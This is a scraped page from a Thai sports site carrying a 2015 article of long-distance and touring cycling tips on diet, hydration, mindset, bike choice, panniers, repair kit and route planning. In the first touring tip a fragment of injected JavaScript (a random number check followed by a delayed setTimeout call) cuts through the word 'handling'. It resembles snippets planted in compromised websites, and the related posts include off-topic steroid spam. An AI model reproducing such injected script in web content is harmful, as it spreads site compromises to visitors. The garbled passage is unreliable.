• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

Long distance cyling tips

stepextra by stepextra
13 August 2015
in Cycling Tips, Feature, Tips & Technics
0
Long distance cyling tips
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ทิปเล็กๆ น้อยๆ สำหรับการปั่นระยะยาว

สำรับใครที่ต้องการผจญภัยไปในวันเสาร์อาทิตย์ หรือวันหยุดยาว โดยเลือกการปั่นจักรยานทางไกล ไม่ว่าจะเป็นเเบบ Touring หรือ Road cycling เรามีทิปเล็กๆ น้อยๆ สำหรับการปั่นจักรยานระยะทางไกล หรือ Long distance cyling tips มาฝากกันครับ

ช่วงเตรียมตัว

1. ก่อนวันเดินทาง 1-2 วัน เลือกรับประทานอาหารประเภทโปรตีนสูง เพราะมีกรดอะมิโนที่จะช่วยในเรื่องการเสริมสร้างกล้ามเนื้อ

2. นอนผักผ่อนให้เพียงพอ การพักผ่อนให้เพียงพอจะช่วยให้ระบบภูมิคุ้มกันทำงานเป็นปกติ ช่วยให้สมองปลอดโปร่งช่วยเพิ่ม performance ให้กับเราด้วย

3. อย่างน้อยควรมีการฝึกซ่อมปั่นจักรยานต่อเนื่องกัน 5 วัน เพื่อสร้างความคุ้นเคยให้กับกล้ามเนื้อ

ช่วงปั่น

1. เหงื่อเป้นเรื่องสำคัญ การสูญเสียเหงื่อไม่เพียงเเค่น้ำในร่างกายที่หายไป เเต่หมายถึงเเร่ธาตุที่ออกมาพร้อมกันด้วย นักปั่นจึงควรมีการเตรียมน้ำและเครื่องดื่มเกลือเเร่ให้พร้อม หรือจะพกพา Snack bar ที่อุดมไปด้วยคาร์โบไฮเตรตไว้เป็นเเหล่งพลังงานให้เราด้วยก็ได้

2. ควรมีการดื่มน้ำทุกๆ 15-20 นาที หรือดื่มเมื่อมีอาการกระหายน้ำ เพื่อรักษาสมดุลน้ำในร่างกายของเรา หากมีอาการเหนื่อยให้ลองกินพวก snackbar ที่เตรียมมาหรือจะเป็นพวกผลไม้ตากเเห้งก็ได้ อย่างกล้วยตากเเห้งก็ดีเช่นกัน

3. Mind set การปั่นระยะทางไกลจำเป็นต้องมีความตั้งใจสูง อย่าออกปั่นเพราะเพื่อนๆ ชวนอย่างเดียวเเต่ต้องมาจากตัวเราด้วย คืออยากทำเเละตั้งใจทำ มันจะทำให้การปั่นของเราสนุกขึ้นไม่น่าเบื่อ

16-34-37-518_640

สำหรับใครที่เป้นสาย Touring ต้องออกเดินทางไกลๆ เราเองก็มีข้อเเนะนำมาฝากเช่นกัน

1. การเลือกใช้จักรยาน เเนะนำให้เลือกเอาเเบบที่ไม่เเพงมากนัก หากเกิดการลักขโมยจะไม่ได้มาเสียใจมากนัก เเละในการเลือกซื้อจักรยานควรดูที่ความทดทานใช้งานง่าย ควบคุม (handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling) ง่าย คล่องตัว เเละต้องนั่งปั่นสบาย (comfortable)

2. ควรมีการติดตั้งกระเป๋าเสริม (Bike Pannier) เพื่อใส่ของที่จำเป็น โดยน้ำหนักควรอยู่ในช่วง 9-20 กิโล เเบ่งเป็นสองส่วน 60/40 ให้ช่วงหน้าจักรยานเราเบากว่าช่วงหลังเพราะมีผลต่อการควบคุมทิศทาง

3. อุปกรณ์ซ่อมจักรยานพื้นฐาน อย่างอุปกรณ์ปะล้อยาง ยางใน ที่สูบลมพกพา เป็นต้น ผู้ปั่นเองก็ควรมีความรู้ในการซ่อมจักรยานเบื้องต้นเช่นกัน

4. น้ำและของกินอย่างน้อยก็ควรมีเก็บสำหรับวันถึงสองวัน ถ้ายิ่งปั่นในเส้นทางที่ไม่มีชุมชนยิ่งต้องเตรียมพร้อมให้ดี

garmin-burp

 

5. เสื้อผ้า ควรเป็นเเบบเบาเเละระบายเหงื่อหรือน้ำได้ดี และควรจัดเก็บได้ง่าย เสื้อกันลมกันฝนก็ควรพกไปด้วย ประเภทเสื้อผ้านั้นก็ขึ้นอยู่กับฤดูกาลเเละสถานที่ปั่น เราจึงควรศึกษาให้ดีก่อนออกปั่น

6. เครื่องเรื่อนเเต่งหน้าไม่ควรเอาไปครับ ไม่ว่าจะเป็น makeup หรือ hair dresser ไม่มีใครมาสนใจหรอกครับ เพราะเรานั่งปั่นจักรยานทั้งวัน คนมองเราเเค่จังหวะที่ผ่านไปมาเเป๊ปเดียวจริง พกไปจะไปเพิ่มน้ำหนักให้กระเป๋าซะอีก

7. สิ่งสุดท้ายคือ การว่างเเผนเส้นทางปั่นไว้ล่วงหน้า ศึกษาเส้นทางปั่น ทั้งลักษณะภูมิประเทศ สภาพอากาศ สถานที่พัก อาหารการกินและพื้นที่ชุมชนให้ดี

ShareTweetShare
stepextra

stepextra

Related Posts

! Без рубрики

Sustanon 250 steroid: tutto cio che devi sapere

23 August 2023
“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS
News

“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

3 May 2023
บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    0 shares
    Share 0 Tweet 0
  • เอาติดข้างฝาไว้นะ..ตารางฝึกวิ่งมาราธอน 8 สัปดาห์

    0 shares
    Share 0 Tweet 0
  • วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • รีวิว adidas Ultraboost 20 รองเท้าวิ่งประจำปี 2020 จากอาดิดาส

    0 shares
    Share 0 Tweet 0

ทดสอบ

ทดสอบ

StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

Sustanon 250 steroid: tutto cio che devi sapere

23 August 2023
“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

3 May 2023
บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022

Browse by Category

  • ! Без рубрики
  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.